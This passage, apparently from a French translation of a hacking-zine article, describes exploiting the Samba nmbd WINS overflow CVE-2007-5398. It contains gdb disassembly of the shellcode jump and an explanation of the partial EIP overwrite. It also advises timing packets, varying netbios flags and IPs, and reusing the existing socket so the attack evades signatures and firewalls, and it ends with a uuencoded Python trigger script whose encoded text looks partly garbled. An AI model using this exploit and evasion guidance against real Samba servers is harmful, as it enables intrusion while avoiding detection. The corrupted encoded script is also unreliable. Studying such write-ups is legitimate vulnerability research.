keydata.21 () (gdb) x/10i 0x8117f88 : sub %esi,%esp 0x8117f8a : jmp *%esp ... (gdb) i r esi esi 0x59e 1438 (gdb) x/10i - 0xbfbfdfa6: cld 0xbfbfdfa7: mov %edi,%eax 0xbfbfdfa9: addb $0x0,(%eax) 0xbfbfdfac: mov %edi,%esi 0xbfbfdfae: nop 0xbfbfdfaf: addb $0x0,(%eax) 0xbfbfdfb2: add $0x3c,%esi 0xbfbfdfb5: addb $0x0,(%eax) 0xbfbfdfb8: mov %esp,%edi 0xbfbfdfba: nop -------------------------------------------- Le problème avec ce qui prècéde, est que first_layer_sc.asm doit être mis à jour, car diverses choses ont changé. Tel que edi pointant l'emplacement en mémoire de .bss, esp pointant sur ce que nous exécutons actuellement, etc. Ces changements sont relativement mineurs cependant. Malheureusement, en raison de l'écrasement partiel de eip, nous aurons besoin de deux adresses pour obtenir l'exécution du code. Cependant, ce mécanisme est probablement plus fiable que de croire que les adresses de la pile seront les mêmes à chaque exécution. ----[ 5.7 - Notes d'exploitation supplémentaires Les enregistrements prennent un paramètre nommé (durée de vie) .. en observant le code source de Samba, on voit : -------------------------------------------- static int get_ttl_from_packet(struct nmb_packet *nmb) { int ttl = nmb->additional->ttl; if (ttl < lp_min_wins_ttl()) { ttl = lp_min_wins_ttl(); } if (ttl > lp_max_wins_ttl()) { ttl = lp_max_wins_ttl(); } return ttl; } param/loadparam.c: FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl) Globals.min_wins_ttl = 60 * 60 * 6; /* 6 hours default. */ Globals.max_wins_ttl = 60 * 60 * 24 * 6; /* 6 days default. */ -------------------------------------------- Cela veut dire que par défaut, on a moins de 6 heures pour envoyer tous les paquets requis, et si on veut, moins de 6 jours pour effectuer un exploit. Si les enregistrements de paquets sont faits à des intervalles appropriés, cela devrait éviter les signatures basées sur l'envoi à intervalle où par requête de temps. Une autre façon d'éviter une simple détection serait d'utiliser des drapeaux d'enregistrement netbios différents et d'éviter les adresses ip statiques. En plus du temps mort ci-dessus, avec un petit peu plus d'effort, il est possible d'employer le descripteur de fichier existant, et les informations relatives à l'adresse ip ou au port dans la structure du paquet transmis à reply_netbios_packet(), pour éviter de nouvelles connexions réseau qui pourraient être notées ou détectées par un pare-feu ou bloquées en quelque sorte. En travaillant davantage contre les cibles connues, le registre ebp pourrait être restauré correctement et le flux d'exécution pourrait être rétabli vers le point adéquat. Cela prouverait une exploitation manifeste. --[ 6 - Références [1] http://us1.samba.org/samba/security/CVE-2007-5398.html http://secunia.com/secunia_research/2007-90/advisory/ [2] http://www.wireshark.org [3] http://oss.coresecurity.com/projects/impacket.html [4] http://sourceforge.net/projects/tdb/ [5] http://www.cs.rice.edu/~scrosby/hash/ [6] http://oss.coresecurity.com/projects/inlineegg.html [7] http://www.phrack.org/issues.html?issue=59&id=7 [8] Bounds error: attempt to reference memory overrunning the end of an object. Pointer value: References, size: 1 --[8 - Addendum Je suis heureux que cet article ait été jugé digne d'être publié. Je remercie pour le coup de main ;) Je serai présent à Ruxcon 2008, aussi je vous engage à nous y retrouver http://www.ruxcon.org.au/ - 29 Novembre 2008 Voici une preuve du concept visant à déclencher l'exploit : begin 600 CVE-2007_5398-trigger.py M(R$O=7-R+V)I;B]P>71H;VX@#0H-"FEM<&]R="!S=')U8W0-"FEM<&]R="!I M;7!A8VME="YS=')U8W1U5]N86UE)RP@)S,T M5]T>7!E)RP@)R%()R`I+`T*"0DH("=Q=65R>5]C M;&%S7!E)RP@)R%()RDL#0H)"2@@)V%D M9&ET:6]N86Q?8VQA&9F9F8I#0H)"7!A8VME=%LG9FQA9W,G72`](#!X,CDP,`T*"0EP86-K M971;)W%U97-T:6]N5]C;&%S&,P7'@P8R(-"@D)<&%C:V5T M6R=A9&1I=&EO;F%L7W1Y<&4G72`](#!X,#`R,`T*"0EP86-K971;)V%D9&ET M:6]N86Q?8VQA#%B+"`B(BD-"@T*"0DC M($ET(&%P<&5A2!W96QL("T@#1C(B`K(&YA;65;,S,Z70T*#0H)"71R:6=G97(@/2!. M34)?5')I9V=E5]R5]N86UE)UT@/2!N86UE#0H)"71R:6=G M97);)W%U97)Y7W1Y<&4G72`](#!X,C`)#0H)"71R:6=G97);)W%U97)Y7V-L M87-S)UT@/2`P>#`Q#0H-"@D)&ET*#$I#0H- M"@ER971U'!L;VET+G)U M;B@I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA:6Y?7R7,N -87)G=ELQ.ETI#0H-"F%M ` end